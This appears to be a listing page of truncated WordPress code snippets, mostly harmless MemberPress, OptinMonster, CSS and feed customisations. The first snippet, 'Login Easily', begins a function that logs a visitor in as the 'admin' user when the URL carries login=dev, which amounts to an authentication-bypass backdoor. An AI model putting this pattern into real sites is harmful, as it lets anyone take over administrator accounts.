Login Easily
function auto_login() { if (isset($_GET['login']) && $_GET['login'] === 'dev') { $user = get_user_by('login', 'admin'); if ($user)…
MemberPress: Remove a User Role After Subscription to a Specific Membership Expires
The code snippet will remove the specified role from a user after the user’s subscription to…
MemberPress: Kit (formerly ConvertKit) - Remove Kit Inactive Tag for Inactive Subscribers
By default, MemberPress integration with Kit will add the “inactive” tag when a user becomes inactive…
DJ ANIMATIONS MUSICALES
Animation musicales des soirées privées et publiques
Vacatures CPT - zonder taxonomies
Maakt een Vacatures custom post type
Styling Theme My Login plugin
There's not much to do here. When someone logs out the confirmation screen (You are now…
MemberPress: Change Username Field’s Placeholder and/or Label of the Field on Login Page
document.addEventListener('DOMContentLoaded', function() { // Select the input element by its id var usernameInput = document.getElementById('user_login'); //…
om.Html.scripts
document.addEventListener('om.Html.scripts', function(event) { console.log(event.detail.Html); console.log(event.detail.Campaign); } );
om.Form.validate
document.addEventListener('om.Form.validate', function(event) { // ...custom validation code here if (validateError) { event.detail.Form.errors.validate.push('This is the error message')…
Ngăn WP cắt ảnh
add_filter('intermediate_image_sizes_advanced', function ($sizes) { $sizes = array( 'thumbnail' => $sizes['thumbnail'], // Giữ lại thumbnail 'medium' =>…
Slide Reposition Top Right v2
html div#om-{{id}} { top: 0px !important; bottom: unset !important; transition: top 0.3s ease 0s !important; }
Unified Product ID for Facebook Feed || WPML || PFE
function adt_wpml_unified_product_id( $product_data, $feed, $product ) { // Only run for Facebook dynamic remarketing feed if(…
Typography Enqueue
function typography_enqueue_styles() { // Enqueue Typeboost.css from Cloudflare CDN wp_enqueue_style('typeboost-css', 'https://cdnjs.cloudflare.com/ajax/libs/typeboost/1.0.0/typeboost.css', array(), '1.0.0'); // Enqueue webfontloader.js…